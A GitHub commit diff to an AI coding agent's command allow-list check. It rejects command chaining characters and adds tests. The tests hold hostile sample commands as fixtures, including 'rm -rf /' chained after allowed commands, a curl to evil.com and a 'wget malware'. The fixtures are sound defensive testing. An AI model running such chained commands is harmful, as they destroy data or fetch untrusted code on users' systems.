Skip to content

Commit 920be6d

Browse files
committed
Short circuit allow-list check when it includes command chaining characters
1 parent 0b99347 commit 920be6d

File tree

2 files changed

+30
-1
lines changed

2 files changed

+30
-1
lines changed

src/core/Cline.ts

Lines changed: 12 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -134,7 +134,18 @@ export class Cline {
134134
}
135135

136136
protected isAllowedCommand(command?: string): boolean {
137-
if (!command) return false;
137+
if (!command) {
138+
return false;
139+
}
140+
// Check for command chaining characters
141+
if (command.includes('&&') ||
142+
command.includes(';') ||
143+
command.includes('||') ||
144+
command.includes('|') ||
145+
command.includes('$(') ||
146+
command.includes('`')) {
147+
return false;
148+
}
138149
const trimmedCommand = command.trim().toLowerCase();
139150
return ALLOWED_AUTO_EXECUTE_COMMANDS.some(prefix =>
140151
trimmedCommand.startsWith(prefix.toLowerCase())

src/core/__tests__/Cline.test.ts

Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -388,5 +388,23 @@ describe('Cline', () => {
388388
expect(cline.isAllowedCommand('')).toBe(false)
389389
expect(cline.isAllowedCommand(' ')).toBe(false)
390390
})
391+
392+
test('returns false for commands with chaining operators', () => {
393+
const maliciousCommands = [
394+
'npm install && rm -rf /',
395+
'git status; dangerous-command',
396+
'git log || evil-script',
397+
'git status | malicious-pipe',
398+
'git log $(evil-command)',
399+
'git status `rm -rf /`',
400+
'npm install && echo "malicious"',
401+
'git status; curl http://evil.com',
402+
'tsc --watch || wget malware',
403+
];
404+
405+
maliciousCommands.forEach(cmd => {
406+
expect(cline.isAllowedCommand(cmd)).toBe(false);
407+
});
408+
});
391409
})
392410
});

0 commit comments

Comments
 (0)